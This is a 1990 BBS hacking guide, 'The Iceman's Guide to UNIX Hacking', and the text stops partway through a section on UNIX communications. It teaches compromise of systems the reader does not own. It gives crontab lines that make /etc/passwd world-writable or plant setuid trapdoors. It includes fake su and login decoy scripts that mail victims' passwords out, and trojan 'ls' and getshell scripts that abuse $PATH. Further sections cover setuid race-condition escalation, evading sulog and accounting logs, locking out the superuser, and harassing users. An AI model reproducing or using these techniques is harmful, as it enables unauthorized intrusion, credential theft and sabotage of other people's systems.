File : UNIXHACK.TXT Author : Iceman BBS : The Banana Republic BBS Ver: 1.30 THE ICEMAN'S GUIDE TO UNIX HACKING Updated:6/1/90 ================================== Introduction: ============= This file is definitely not for people who have never used UNIX before. It assumes a working knowledge of UNIX as well as the principles behind it. There are dozens of books around on UNIX - a good place to start is S.R. Bourne's 'The UNIX System'. Most of the technical information in this file was gleaned from the Bell Systems Technical Journal, the XINU and MINIX texts, the SYSV and Ultrix manuals, and sundry other books. Note also that this document assumes you have some sort of access to a UNIX system. There are quite a few files on getting into UNIX systems floating around; I won't bother rehashing them all. This file tells you what to do once you are in. Logging In: =========== The easiest way to have fun with UNIX is to have a root shell - the super- user's shell. Having done this, it is possible to create trapdoor programs that make it easy to get on later. As super-user, you can patch the login program from source available to you on the system, to save every password to a secret file for your later enjoyment. A big loophole in UNIX are executable logon names such as 'w' and 'date'. These can be identified in the password file /etc/passwd as having no password: w::101:50:Print users on the system:/bin/:/bin/w Note the blank second field: No password. You can get these login names to execute shell scripts: Once you have obtained root privileges, even if only temporarily, you can place an entry in the password file to run a script at login. This script can be changed at ANY time to do exactly what you want. To add a script called foo, create the entry: foo::102:50::/:/usr/junk/foo where foo can be any shell script. The reason this works is because getty (which prints the login prompt) is run by init, and the owner of init is root. That privilege is passed on to the script because it is being run at login time, and routines that run at login time usually need root access to perform necessary initializations. A useful command to search the passwd file for all logins that don't have passwords is: grep '^[^:]*::' /etc/passwd || echo "All logins protected (sigh)" A few bugs are also floating around very old versions of UNIX that give away root capability, for example if no user ID is specified in a user's entry in the passwd file, the user ID defaults to 0 or root. An example is: root::::Superuser:/:/bin/csh Also, if the first line in the password file is a blank, you can login as root with no password. Some system entries such as bin sometimes have no passwords, in which case you can logon as bin, and then edit /usr/lib/crontab to do a chmod on the password file, giving yourself access to it. Just add something like: * * * * * chmod 666 /etc/passwd or * * * * * chmod a+rw /etc/passwd to the crontab file. This will allow anybody to read or write the passwd file. Or you could put: * * * * * chmod 4777 /tmp/door giving yourself the trapdoor discussed elsewhere in this document. This works because cron is executed by init, which is owned by root, so that any process run by cron has root privileges. The asterisks tell cron to execute at the next possible moment. Alternatively you can specify a time for it to run and do it at an off-peak time (after the superuser has gone home, when he is out to lunch etc). The 4xxx sets the setuid bit (for more on file protection bits, see the section "Files" below), which allows the person executing the file to assume the same priviledge level as its owner, in this case root. The x777 part lets anyone run/access the file as for the passwd example. You can also alter /etc/rc ("Run Commands") to change the password file. This file is run auto- matically at startup to configure the system. Again, all you have to do is wait for the system to be rebooted, which chmod's the password file, and then edit it. cron can be quite useful for this sort of thing. If you have write permision to a system directory, you can store a fake version of a system command that would be executed by cron in there, and then wait for the event that would cause it to be run. The fake version would, of course, have some sort of trapdoor mechanism built into it. On the distribution tape of 4.2BSD, for example, the /usr/spool/at directory is universally writeable by all users, making it a prime target for this method. cron can also be valuable for giving yourself access to a system atfer the superuser has kicked you off. A useful command for finding programs with the setuid/setgid bits on is: find \( -perm -4000 -o -perm -2000 \) -print | sort where dir is ant directory. All of the subdirectories of this directory are recursively scanned. Note that beacuse of this it is a real CPU hog. Finally, some systems are distributed with default vendor-supplied passwords. If the system was set up by inexperienced users, they will often overlook changing these default passwords. A classic example of this was an early BSD release, which defaulted to no password for the root account on the distribution tape. Files: ====== Each UNIX file has associated with it 11 bits, together with a user ID (UID) and group ID (GID). Nine of the bits specify permission to read, to write, and to execute the file to its owner, to members of the owners group, and to all other users of the system. The last two bits, called the set-UID and set-GID (SUID and SGID) bits, are referenced only when a file is executed as a program. If the SUID bit it set, then the effective UID of the person running the program has all access priviledges of the program's owner. The SGID bit works in a similar way for groups. An example of a program that uses this SUI capability is the /bin/passwd program, used to change entries in the password file, which is not normally world-writeable. To write to the password file, passwd must access /etc/passwd and change the users encrypted password stored there to the new version. Thus all users are able to alter the sensitive /etc/passwd file, but only as permitted by /bin/passwd. UNIX also recognises a special user, referred to as the super-user, with UID 0, who has unrestricted access to all files in the system regardless of ownership or protection configuration, and can execute priviledged system commands. Anyone who has a UID or GID of 0 is treated by the system as root. The most important files in a UNIX system from a hacking point of view are /etc/passwd, /etc/*rc, /usr/lib/crontab, and usr/lib/uucp/L.sys. Files to watch for are ones with the SUID or SGID bits set. You can modify these files to misuse the temporary root status to do all sorts of fun things, and then alter the date as described below so no-one will know. An example of this is the /bin/passwd command described above. /etc/passwd has its SUID bit set to /etc/passwd's owner, which is root, so while passwd is running, you have root privileges. When the command terminates, so do the root privileges, unless you have altered the command in some way. This is the classical trapdoor: It is just another process, a clone of an ordinary user shell with one significant exception: The UID is 0, or root. What happens is that when the trapdoor program is run, the program changes the effective UID to that of the owner of the file, ie root. It then spawns a shell via the exec() call, and presto, one shell with root privileges. Some points to watch for: The standard way to do a trapdoor is to have a program that acts as normal unless you call it with a wierd option such as '-xyzzy' (note that progs such as ls are no good for this as ls accepts virtually anything as some sort of valid switch). A trap to fall into while playing with root is to generate an entry in a log file such a sulog. uucp also keeps a log file. Paranoid superusers may also get other progs to create logfile when used. SU: === This command lets you substitute another UID for your own, but I don't recommend it as all su activity is recorded in a file called /usr/adm/sulog. As super-user you can edit this file, change the modification date, etc, but it just isn't worth the effort, as the superuser can also use ps to find out if anybody is using su. However it does have its advantages: By examining it you can at once identify any useful 'targets' on a system - anybody who can su to root is a worthwhile target for hacking activity. The sulog is really a well- meaning (for systems administrators) but misguided attempt at security, as there are far safer methods to become root than with su, and yet it helps to identify potential targets for hacking. Avoid su if you can. (Anyway, to su to root you must have the root password anyway, so why stuff around with su when you can just login as root). However, su does have one great advantage: It can be used to find out all the passwords used by other users of su. The general program flow of su is: Get info on user: uid, gid, password, tty,.... If the password is null or the uid is zero Go past the password questions Prompt for the password If the encrypted version of what was just typed doesn't match the /etc/passwd entry Log an unsuccessful su attempt Print "sorry" Exit Log a successful su attempt Make the system calls to force uid and gid Set up the environment if requested. If you are not on the system console and this is a root shell Log a message to the system console Fix up argv to show su in a ps command Exec a shell Obviously you will need to get rid of the logging of su in /usr/adm/sulog and to the console, and the fixing up of argv to show su in a ps command. Also you would have to add checks for a "secret" password of your own so su bypasses the normal password checking sequence. Finally, you would have to add extra code to log all passwords to su to be logged in a secret file, so that gradually you would obtain all the interseting passwords on the system. However, it would probably be a lot easier to patch login, since here there is no need to bypass the complicated logging of program use to various places. An alternative is to create a dummy of the su command which saves the password in some obscure corner of the system, and then exits, removing all traces of itself. The following shell script should do the trick: stty -echo echo -n "Password:" read PASSWORD echo " " stty echo echo $PASSWORD | mail & sleep 1 echo Sorry. rm su Accounting Files: ================= The UNIX accounting file has a record of every process that runs on the system (you can find the exact structure in /usr/include/sys/acct.h). One of the fields in this structure records the processess that have superuser capabilities. When someone uses a root trapdoor, the processes they spawn are owned by root. The accounting file takes the terminal number from which the process was run, so the superuser can look for root processes run from terminals that wouldn't normally be used by people authorized for root access. When processes have a UID different from that of the person running them, the accounting files can be very revealing. Things that really make the superuser suspicious are shells with the su flag set - this is a dead giveaway of a trapdoor. You can view your accounting info with: acctcom -b -u$USER Another interesting accounting file worth having a look at is /usr/adm/wtmp, which contains a record of all the logins since it was created. The file /etc/utmp contains info on users currently logged on (this file is used by the 'who' command). Unsuccessful Logins: ==================== Some systems record unseccessful logins. The login time, terminal, and username are stored, but unfortunately the password used is not recorded. However a reasonably common mistake is to type in a password when asked for a login name, or try to type too fast (because of people like me looking over their shoulders) and type in half the password at the end of the login line as you fumble for the return key. At any rate, the end effect is that invariably a few passwords are collected along with login names in the logfile. All that is necessary is to check all names in the login file with /etc/passwd - any name not in this but in the logfile has a good chance of being a password. Some systems will count the number of consecutive unsuccessful login attempts for a particular user and disable the account after the number crosses a certain threshold. This value is usually three attempts. This is a marginal nuisance for would-be hackers, but is great for getting rid of the super-user: login: root Password: zot repeated the appropriate number of times should ensure privacy for a while at least. Physical Access to the Root Terminal: ===================================== Chances for this are rare; it is also very risky to be caught tampering with the super-users terminal, but anyway: All you need to do from the superusers terminal is chmod to set the userid bit on your already-compiled-and-ready-to-go program just waiting to have the permissions changed. If a terminal is left logged in as root at night while backups are performed, or if you can use the superusers office for some other legitimate activity and they leave for a few minutes, this is a golden opportunity not to be missed. The standard booting operation for UNIX systems brings the system up in superuser mode, without requiring a login sequence or password. During this time, the system identifies all commands as coming from root, so that anyone who can reboot the system can become root. The only prerequisite to do this is, again, access to the system console. Also, on some systems if the boot sequence is interrupted, they will drop into some sort of low-level monitor program. However doing anything other than restarting the reboot from these monitors is generally painful. Capturing Shells: ================= Another neat trick is to get people to execute a command which saves a shell owned by them that you can run in some safe area. A shell script to do this is: #! /bin/csh -f echo "#! /bin/csh -i">/tmp/$USER chmod 4555 /tmp/$USER This saves a script to invoke an interactive shell in tmp/$USER (note you can't save it straight to your $HOME as this would involve giving the victim write access to it) which is executable by anybody and with the SUID bit set. Thus you can "become" the victim at any time. Taking advantage of $PATH: ========================== Usually $HOME/bin is one of the first entries in the PATH variable. If this is before /usr/bin, you can put a file in the victims /bin directory, such as ls, which will be executed instead of the standard ls. Once they execute this ls, it will run with the same capability as the person running it. An example fake ls shell script is: echo "#! bin/csh -i" > /tmp/$USER chmod 4555 /tmp/$USER rm ls `$1` This is just the standard getshell presented above. The `$1` passes the ls command on to the shell - this is necessary because if the victim types say 'ls -l' and the response is a simple 'ls' they will become a bit suspicious. Note that the backquotes are necessary - they force the passing on of the typed command to the shell as is. The 'rm ls' removes any suspicious evidence in the victims directory. If the first entry in $PATH is '.' (eg $PATH=.:$HOME/bin:.....) then users will unwittingly execute programs in whatever directory they are in in preference to the usual system-wide command. So it becomes a simple matter to create a directory with some tempting programs in it (games etc), give everyone acces to it, and then create a local version of, say 'ls', which is yet another getshell program, eg: echo "#! bin/csh -i" > /tmp/$USER chmod 4555 /tmp/$USER `$1` These programs can be used in conjunction with SU (described above) to give superuser passwords but this is quite risky - it is doubtful whether any superuser will be fooled that easily. An interesting point to note is that it is not necessary to explicitly put a . in $PATH. Merely having two colons in a row (::) as part of $PATH, or even just one colon if it is at the start or end of $PATH, is enough to include rhe current directory in the search path. Thus the following (somewhat exaggerated) PATH definition would search the current directory six times if the command was not found: PATH=::/bin::usr/bin:.:/usr/ucb:: 1 2 3 4 5 6 Finally, many systems programmers modify the root search path for their own convenience, and then forget that these same paths will be used by system maintenance scripts run automatically over night (see the section on using cron in "Logging In"). Sometimes people's .profile or .login files are world-readable, making it very easy to place dummy versions of commands in their way. Login Decoys: ============= The standard UNIX login sequence is as follows: First, init spawns getty ("Get Teletype"), which is initiated from the /etc/inittab file, on a specific tty number at a specific speed. This sets up the line characteristics and prints the login prompt. When a user types a login name, getty checks it for validity, then execs the login program. Login prompts for the password, encrypts it, and checks it against the encrypted password in the /etc/passwd file. If the passwords are the same string, login execs a shell that prints the shell prompts and reads your commands from the terminal. The actual shell is determined from the passwd file, given by the entry for that login name. There are several places in this chain open to attack, the best place being right at thet start, with getty. When getty is waiting for a login, it prints the string in /etc/gettydefs. All you need to do is write a short program to put up a dummy of this, save the password off to some secure place, print an error message (the standard 'login incorrect' message), and then execute the standard login. The following shell script should do the job: echo -n "login: " read NAME stty echo echo -n "Password: " read PASSWD echo "" stty echo echo $NAME $PASSWD | mail & sleep 1 echo "Login incorrect" stty 0 > /dev/tty This simple script asks for your name, password, spawns a background process to mail them to you, waits for a while, and then announces a bad password to the victim and quits. Note that this is meant as an example only - it should be written in C, with all signals to it disabled, to stop someone using ^C to break out into your shell - in that case you would become the victim. Another alternative is to follow the suggestions in the section on shell fault handling. Note also that you cannot simply leave a process running after you logoff - when you try to log off you will be warned that you still have a process running, and if you try to log off a second time it will be killed. To bypass this, use the 'nohup' (no hang up) command. This will prevent disconnecting (hanging up) the terminal from killing the process. The format is: nohup The nohup command can also be faked with: trap " 1 2 3 15 exec "${@?}" The trap turns off the signals specified so that they are ignored by the subsequently created commands, and the exec replaces the shell by the command specified as arguments. Note that commands run with 'nohup' can also run invisibly in the background with an &. This can only be used to catch users on publicly used terminals though - I doubt any superusers could be fooled (even if you could get at their terminals, there are better things to do with them than play around with dummy logon shells). Password Aging: =============== Recent releases of UNIX have a neat feature called password aging, which, if enabled by the super-user, forces people to change their passwords every so often. The idea behind this is that even if someone finds out a password, it will only be of use for a limited amount of time. What happens is that when the password has expired, on logon the user is greeted by the message "Your password has expired. Choose a new one", and execution of the passwd command is forced rather than dumping the user into a shell as usual. Also, to prevent a user from changing a password from X to Y and then promptly back to X again, passwd refuses to change a password that is less than one week old. And now for the good part: This system is (believe it or not) quite useful for hackers. Because most users aren't expecting this sort of thing when they logon, they will have absolutely no idea of what to use as their new password. As a result, people will tend to come up with incredibly stupid passwords on the spur of the moment, with the intention of 'changing it later', but without any clear indication of exactly when 'later' is. Also, if the new password is discovered, it cannot be changed for a WHOLE WEEK by the user - plenty of time for having all the fun you want with that account. Another point is that even if users do use reasonably nontrivial passwords, all that the ageing will generally make them do is toggle between two passwords - if you know both you're fine. Obviously this feature is a prime target for a login decoy type program - an expired password is a perfectly valid reason for forcing a user to retype a password - far more valid than "line noise" or a "typing error". However you must then be careful to *really* change the expired password or the victim may become just a bit suspicious. It is also possible to scan the /etc/passwd and check for expiry dates of passwords - in the current implementation it is stored in an encoded, but not encrypted, format just after the encrypted password. With this method you can instantly find all expired accounts, and also find out how long various accounts have to go before they expire. However merely reactivating an expired account is not too safe as the real owner may turn up and wonder why his password no longer works and/or why he doesn't at least get the 'expired' message. Some newer systems also require a certain format for passwords, eg at least 6 characters, or at least 6 letters and one digit. Some earlier versions of passwd allowed any-length passwords on the second attempt at running passwd, but this has been removed in more recent releases. The effect of the 1-digit rule is that people append a digit in the range 0-9 at the ends of their passwords, so all that is required is that you try the same password with 10-digit variations instead of just typing it in straight. It is interesting to note that in a recent study of super-user passwords on systems that used this sort of password style, the most common 20 female names followed by a digit in the range 0-9 (ie 200 tries per password) gave access to quite a few systems. Now that's a super-user password just by guessing (so it's quite a bit of typing, but it also doesn't involve any of the somewhat risky acrobatics described elsewhere in this document). Setuid Shell Scripts: ===================== An easy way to achieve superuser capabilities is through the use of setuid shell scripts. For the Bourne shell, the first line of a script will be: #!/bin/sh What happens is that the kernel discovers the magic number #! and tries to execute the command interpreter pointed out, which may be followed in the script by one argument. Before the exec() of the interpreter, the UID and GID fields somewhere in the user structure of the process are filled in. In C, the process carried out is: execl("/bin/foo", "foo", (char *) 0); which comes to: setuid(0); setgid(0); /* Possibly */ execl("/bin/sh", "sh", "/bin/foo", (char *) 0); All that is necessary is to make the name of the script equal -i, which can be done by linking the script to a file named -i. Thus the exec() becomes: execl("/bin/sh", "sh", "-i", (char *) 0); which creates an interactive shell with UID 0. For the csh, the process is somewhat different. The csh refuses to run a setuid script unless the -b ("break") option is present. What the -b option does is try to prevent the above from happening, ie it prevents following arguments of an exec of /bin/csh from being interpreted as options. However there is still a way to get around this problem, albeit not a particularly easy one. The idea is to get in between the setuid()/setgid(), and the open() of the command file by the command interpreter, and quickly unlink() the link to the setuid shell shell script and then link() in some other shell script. Another possibility is the creative use of the $PATH variable as described in the section "Taking Advantage of $PATH". The idea of getting in between system calls in a program can be extended to other setuid programs as well. For example, the mkdir command, which is a setuid program owned by root, works by first creating the inode for a directory with the mknod() system call, followed by a chown() to change the owner from root to its real owner. In this case all that is needed is to remove the directory inode and make a link to the password file under the name of the directory. Then, when the chown() call is executed, the user becomes the owner of the password file. While in theory this would seem to take incredible luck, it is in fact a relatively simple matter to create a shell script which performs some action to slow the system to a crawl, while at the same time repeatedly trying the above methods. A suitable means of slowing the system down is via the mail daemon - create a process which sends yourself endless zero length messages (but don't overdo it - I once caused a minor panic through runaway mailing which overflowed several internal tables used by the system, at which point the process was killed by a seperate safety-net watchdog process). Some brief notes on other methods: ================================== False tape release: Rather obscure: Get hold of an old update tape, patch it, send it to the superuser, and hope they use the 'updates' on the tape without getting too suspicious. Passwd encryption: The algorithm used is the DES (Data Encryption Standard) algorithm with an added twist: one of 4096 variants is chosen, dependant on two randomly generated chars called 'salt' in the /etc/passwd file. You could grab a password, use its salt and encrypt a list of known passwords. If the result matches the sample password, you're in. This is a lot of work, and also involves a lot of use of the system command crypt. This command is specially designed to chew up enough CPU time to make it very inconvenient for repeated use. Also repeated use of it will probably attract the superuser. One way in which this method can be used is to encrypt a sample of possible passwords on a secure, and preferably fast, system (such as the Cray you broke into last week), and then use the pre-encrypted passwords on the target system. Another way is to create you own program to pre-encrypt passwords at high speed on your own system for later use, a method I use frequently. Mount command: Only good on floppy systems. Get a system on which you can become superuser, make a trapdoor and put it on a disk, take the disk to the target system and mount the file. You now have a file with superuser access (this is about the only thing PC-UNIX is good for.....). This is sometimes protected against by making mount restricted, or not allowing the mounting of setuid files. Source code patches: Patch passwd, chown and chmod (to not check if you have a uid of 0), crypt, su (to not update sulog), ps (to not show root accesses) etc. A lot of work, and far too complex to explain here (it involves getting the source, compiling it, becoming root, swapping the files, resetting any dates/log entries etc, as well as just plain doing the patching. How do you test a program that needs to be run in superuser mode without running it in superuser mode? Catch 22). Reading supposedly blank memory pages/disk space: Many systems do not erase newly allocated memory pages or disk space, and they can be full of interesting information left there by the previous owner. Note, however, that it is not possible to acquire passwords in this manner - the nature of the DES encryption ensures that the password is never stored internally in any decrypted form. A related technique is that of modifying data structures that are stored in user space. Often, programs will build up complex data structures to access streams. As the stream is written or read, the system updates these structures. Changing these structures can have some interesting effects. A good idea is to look at the files in /usr/include/sys/*.h for details of these data structures. Taking advantage of trusted logins: One of the most useful features of BSD UNIX systems is the ability to execute tasks on remote machines. To avoid having to repeatedly type passwords to access remote accounts, it is possible for a user to specify a list of host/login name pairs that are assumed to be trusted, in the sense that a remote login from that host/login pair is never asked for a password. The files /etc/hosts.equiv, /.rhosts, and $USER/.rhosts contain lists of trusted systems. Quite often, these machines and accounts are set up for reciprocal trust. In this manner, it is a relatively easy matter to first obtain access to a less-trusted system, and from there migrate onto more secure systems, without having to go through the usual rigmarole to bypass security measures. Resource exhaustion: Very little protection is offered against excessive consumption of resources by users. Therefore it is possible to degrade system performance, or even halt it altogether, by exhausting such resources as inodes, disk storage, files, processes, and swap space. The only real use for this is mentioned in the section "Setuid Shell Scripts". A related method is to feed invalid parameters to programs, which are often not set up to handle them properly (for more on this see "Advanced Techniques"). Create a pseudo-device: In the file /etc/master or /usr/sys/conf/master is a table of all the device driver names associated with each primitive. To create a pseudodevice, put a new entry in the device driver table (the table names the routines that support the primitives). The open() syscall then calls the device driver, and since the open() call was in system mode, the device driver also runs in system mode. From there it's up to you (if you can write a UNIX device driver then getting on from this point is child's play). Impersonate a remote uucp node: Details of uucp are given in the "Tricks with UNIX Comms" section below. Basically it involves looking in the /usr/lib/uucp/L.sys file for logins for remote systems. Then look in /etc/passwd for logins that run uucico progs rather than a regular shell. Then change the node name of your UNIX system to the node name of the remote system to impersonate, login under uucp or the special login name described above. uucp will give the (fake) node name to the target system. You can then transfer progs, mail etc back and forth. If you plan to do this on a regular basis, remember to forward the mail to the system you are impersonating otherwise the administrators of both systems may become suspicious. It should also be possible to export setuid files the the target system, providing yet another potential source for trapdoors. Remove the password file: Some early UNIX systems had a subtle bug whereby the lpr utility, if invoked with a switch that told it to remove the file after printing it, would remove any file, including the password file. This then allows you to log in without a password. Note that this method, while sounding pretty drastic, is actually quite effective: Just save a copy of the password file somewhere beforehend, and then restore it once you have become the superuser. Overwrite the password file: Similar to the above (and also fixed in more recent UNIX systems), this method involves linking a file called core to the password file, and then forcing a core dump of a setuid program, which the system will write on the core file, or in other words over the top of the passwd file. In this way, it is possible to replace the passwd file with one containing a few strings of your own choosing (for example command arguments). Look for all manuals that say "Do not do X". Try as many variations of X as possible. Forging mail: This is not really a 'real hacking' method, and is also pretty well known and usually protected against: In SYSV (but not XENIX System III or BSD 4.2) your can change LOGNAME to any name, and mail will then use this as your USERname. Of course of you are root you can just use sendmail -r or -f to send mail supposedly from whoever you want. There are several other holes in sendmail; however, the latest release (BSD 5.61) purports to fix all previously known problems. Shell Fault Handling: ===================== Shell procedures such as the ones described above nornally terminate when an interrupt is received from the terminal. The "trap" command can be used to handle these interrupts, for example: trap 'halt -q -n' 2 sets a trap for signal 2 (terminal interrupt), and if this signal is received will execute the command 'halt -q -n', which will crash-halt the CPU. Signals can be handled in one of three ways: They can be ignored, in which case the signal is never sent to the process; they can be caught, in which case the process must decide what action to take when the signal is received; or they can be left to cause termination of the process without the process having to take any further action. A procedure can trap all signals by makng the null string the argument to trap. The following: trap " 1 2 3 15 causes hangup, interrupt, quit, and kill to be ignored both by the procedure and by the invoking commands. Traps may be reset simply by saying: trap 1 2 3 15 which will reset the traps for the above signals to their normal values. A list of the current values of traps may be obtained by using trap with no arguments. The signals available under UNIX are: 1 SIGHUP A hangup from the terminal. Usually results from a loss of carrier over a phone line and can also be generated using: stty 0 > /dev/ 2 SIGINT Terminal interrupt (^C). 3 SIGQUIT Quit. This is the usual way to terminate a program when a core dump is required. 4 SIGILL Illegal instruction. 5 SIGTRAP Trace trap (used by the debugger 'adb'). 6 SIGIOT IOT instruction (also used by 'adb'). 7 SIGEMT EMT instruction - used on some machines for FP emulation. 8 SIGFPE FP exception. 9 SIGKILL Kill. This signal can be safely used to get rid of and of your processes It cannot be caught or ignored by any process. Note that you can only kill your own processes, and not anybody elses, and that because of this there is no danger of any other user breaking out of say a decoy login shell script, since kill cannot be generated from the keyboard. It must be sent with the 'kill' command, eg: kill -9 10 SIGBUS Bus error - usually caused by illegal pointer indirection. 11 SIGSEGV Segmentation violation - caused by an illegal pointer reference, array bounds error, or stack overflow. 12 SIGSYS Bad argument to a system call. 13 SIGPIPE Write to a broken pipe. 14 SIGALRM Alarm clock. This is generated following the 'pause' system call. 15 SIGTERM Software termination signal. This signal is the default for the 'kill' command (mentioned above), and allows the process receiveing it to clean up temporary files and exit gracefully. If this fails, a 'kill -9' should be used. UNIX I/O: ========= UNIX talks to peripherals with "special files", which may be found in the /dev directory. Block devices such as /dev/hd0 use buffered I/O, char- acter devices such as /dev/tty00 use character I/O. Typical devices are: /dev/tty Terminal /dev/rmt Tape drive/backup /dev/fd Floppy /dev/hd Hard drive (block device) /dev/rhd Raw char. device Note that all system resources are accessed in this way, even memory (as /dev/mem), and the kernel (/dev/kmem). Examining these files with a 'ls -l' will produce two numbers, the major and minor device numbers. The major number is an index in the cdevsw[] table that contains the address of the device driver used by the kernel for that type of device, the minor number is an id for the particular device involved. The numbers appear in sequential order for the devices that use the same driver. Tricks with Terminals: ====================== Because a terminal is treated as a file, it has permissions just like everything else. To keep people from writing to your terminal, just use chmod 600 , or the easier-to-remember 'mesg n'. There are some nice tricks you can do with terminals. If someone has their write-protection turned off, you can run a file like: while : do clear > /dev/tty done & which is a background process which continually clears the victims screen. You can go further than this, however. Whenever you open a file, you get a file descriptor back, which you can then use in the ioctl system call. Obtaining that file descriptor is the magic bit - you now have a key to that person's terminal interface. Any ioctl alterations made to that file descriptor take effect immediately, and you can read things being written/read at that terminal, and even trick the terminal into executing commands for you. An example of this is the ANSI escape sequence ESC ] , which when sent will execute a command as if it were coming from the remote terminal. The person using the terminal may never find out what is going on! An interesting feature of UNIX is that once you open a device (in this case a terminal) then you still have read/write access to it even if the owner of the device turns off permission, and continue to have access until you close the device. However, once you have closed it you won't have access to it any more. There are exceptions even to this rule, however: In networks, some workstations may cache parts of the filesystem locally. On one system I know of, if the remote file is updated the locally cached version is not, thus allowing access at the "old" access level until the cache is updated. It is also possible to use the UNIX I/O redirection facilities to play all sorts of tricks with terminals. Under the shell, it is possible to redirect I/O to and from file descriptor by prefixing them with an '&'. Thus the command: cat > & will send the file to the file descriptor . It does this by duplicating the file descriptor using the 'dup' system call, and then using the result as the standard output. Normally the standard output/input is designated by '-'. Thus it is possible with the commands: <&- and >&- to close the standard input and output respectively. Note that since terminals are files, they have access/modify/create time- stamps on them as described int the "Time Stamps on Files" section. These are stored in the inodes as three longints, and can be used to, for example, find the last time a person typed something on their terminal with 'who -u', which uses the stat() system call to find the modification time of the device file. If the terminal has been used in the last minute, a '.' is shown for that terminal, if it hasn't been used for 24hrs the string 'old' is printed, otherwise the time the terminal was last used is printed in HH:MM format. Tricks with File Systems: ========================= Only a few brief notes here as you usually won't do any of this: To find out how much disk space is being used by files in a directory and (recursively) in all its subdirectories, use the "du" command. The output from du is a list of file or directory names and the associated number of 512-byte blocks used. There is a similar command, "df", which prints the number of blocks in each filesystem, a block being typically 512 or 1024 bytes. To access a physical partition on a disk as a block device, you must first create a filesystem on it. This is done with the mkfs command: mkfs /dev/hd eg mkfs /dev/hd08 8000 will create an 8MB filesystem as hd08. This file system now contains the superblock, free lists, etc, everything needed to keep track of the files that live there. Now you must mount the filesystem with the command: mount /dev/hd /mount_point Files can now be placed in this disk partition with the usual cp, mv commands, mkdir used etc etc. Why you would want to go to all this trouble is beyond me (you also have to be superuser to do this sort of thing). To use a filesystem as raw storage rather than as a block device, use the device file that has the character device name that starts with 'r'. For example to use the same device as the one used in the previous example as a raw device, use the name '/dev/rhd01'. If you examine this device with 'ls -l', you will notice that the permission bits start with 'crw' rather than 'brw', indicating that it is a character rather than a block device. The device has no filesystem in it, and is just an expanse of bytes, used to back up data. A useful system variable is ulimit. This sets the max size of file you (or your victim) can create. If you set this to 0, the victim can't create ANY files at all until they logout and log on again. You can either use this to force them to log off so you can capture their password when they log on again, or just to be a nuisance by putting it in their logon script (most people won't have a clue what the problem is). There is a whole range of tricks that can be played in this manner. One possible trick is to add the entry: echo "sleep 1" >> .cshrc to the victims .cshrc file. Eventually, a large amount of these sleep commands will accumulate, with the only indication to the victim being that the system appears unusually sluggish at logon. An alternative method is to lower the priority level of the users shell with the nice command. Since all programs run by the user are spawned by the shell, they will also run at this lower priority level. If a file is created under UNIX and opened, and then deleted, then the inode block information still exists as long as the process that did the create/ open/delete of the file is still active (this can be done by using the 'nohup' command and putting the process in the backgound with '&', ie: nohup & This means the process will be around in the background forever). The blocks occupied by the file will just seem to disappear from the system, but they are still yours to use. To access them, bring the program that created the deleted file back into the foreground, and get the data back by creating a new file, reopening the old (deleted) one, and copying the hidden blocks into the new file. This is a great way to hide information on a disk - there is absolutely NO WAY anybody (even the superuser) can get at this data. The only way to recover the space is to archive all the (legitimate) files in the filesystem, and then re-initialize it (usually by reformatting the disk it's on and restoring the data from the archive it was backed up onto. Another, much simpler (but not so foolproof) method to hide information is to use unlikely-looking filenames such as ".. " (dot dot space) and ..., as well as more ordinary-looking names like .mail. These filenames, beginning with a dot, are not normally included in file lists by the shell. Thus for example the ls command will not display them, unless invoked as ls -a to display all files. Low-Level File Access: ====================== Again, only a few brief notes, there's far too much stuff to go into in any detail: You can examine any device file using the octal debugger od, eg: od -c /dev/hd08 will dump the data in hd08. You can also use: cat /dev/hd01 and similar commands. If you dump a device file with a file system on it, the data will be seen as random blocks of 512 bytes. At some point you should see directory listings. Note that it is *very* risky to write to a device in raw mode as the raw device won't know anything about the file system in the partition and could overwrite pieces of it. Another way to play around with file systems at a low level is with fsdb, the file system debugger (unfortunately this program is not present on all UNIX systems). Again, this program is far too complicated to go into in detail. See the various UNIX manuals or Bell Labs papers - these are a mine of information on the technical details of UNIX. Another source is the /usr/include directory, which contains the include files with the data structures used by these files. Floppy-Based UNIX Systems: ========================== The installation of UNIX on a hard disk is usually assisted by a standalone shell (SASH). This is sometimes installed from tape, but is easiest to run from floppy. The sequence of events on startup is this: The floppy may be one single partition, or it may be divided up into a root partition and a user partition. Either way, the floppy has a filesystem created from another system and placed on the disk. Block one of the filesystem is the boot record, which is placed on the media by the 'dd' command. Dd copies bytes starting at the beginning of the device. The boot record contains code necessary to start UNIX from the disk. Block two is the superblock, a kind of master directory to the filesystem, and has both the inodes pointing to information about each file and a list of available areas of free space. The root filesystem also has a floppy version of the kernel, which boots up and runs the shell just as its big brother, the hard disk kernel, does for the system as a whole. You can even mount the installation disk on another hard disk system and copy commands to it (more on this later). Once the floppy kernel boots, it has a complete filesystem with all the device files. It mounts the hard disk partition (assuming it has been partitioned) and copies files to it in system format. It should look like this: # mount /dev/hd01 /mnt ; Issued from the floppy to mount the first ; partition of the hard disk. # copy /unix /mnt ; Copy hard disk kernel to hard disk partition. Normally only root can mount filesystems. On a large mainframe or mini, this makes sense. But on a small desktop machine, it may be too restrictive for the environment. To override this requirement, use the setuid capability: # chown root /etc/mount; chmod 4511 /etc/mount # chown root /etc/umount; chmod 4511 /etc/umount This now opens a huge security hole in the system - anybody with a setuid trapdoor program on a floppy can mount a filesystem, and become superuser of the whole system. This is particularly easy to do with, say, a XENIX system if you have your own copy of XENIX for which you are the superuser. All you need to do is prepare the relevant files in the comfort of your own home, take them to the target system, and within a matter of minutes you are the superuser. An even simpler way to become superuser on a floppy system is to edit the /mnt/etc/passwd file using the mounted root filesystem to include an extra account with UID = 0, then halt the standalone UNIX shell and reboot from the hard disk, using the login created from the standalone shell. Note, however, that there is a trap to fall into here: The superblock of a filesystem is the key record about its size and contents. Any problems in the superblock will blow away the filesystem. There is a command, sync, which writes the core image of the superblock to the disk, thereby updating it. This is something that should be done automatically and constantly to keep the disk image and the core image the same. SYSV has a program called update, which is run from one of the bootup /etc/rc files. It lives in the system and does a sync and sleep. The effect is that the file system information is kept current with recent changes in the actual file system. If you don't have this on your system, you can write a shell script with a loop, a synch call, and an appropriate length of sleep, and run it in the background to provide this safety feature. However, if all you are planning to do is add one entry to the passwd file, the following command will suffice: # sync /mnt/bin/vi /mnt/ect/passwd Tricks with UNIX Comms Facilities: ================================== UNIX offers several levels of comms which include file xfers, remote login, remote mail, and worldwide message systems that link thousands of UNIX systems. To actually find modems on a system, check /usr/lib/uucp/L-devices. This file defines which ports are used and how they are used. The format will be: ACU cul0 cua0 1200 DIR tty00 0 9600 - etc - ACU specifies an Automatic Call Unit, DIR specifies a direct connection. cu uses 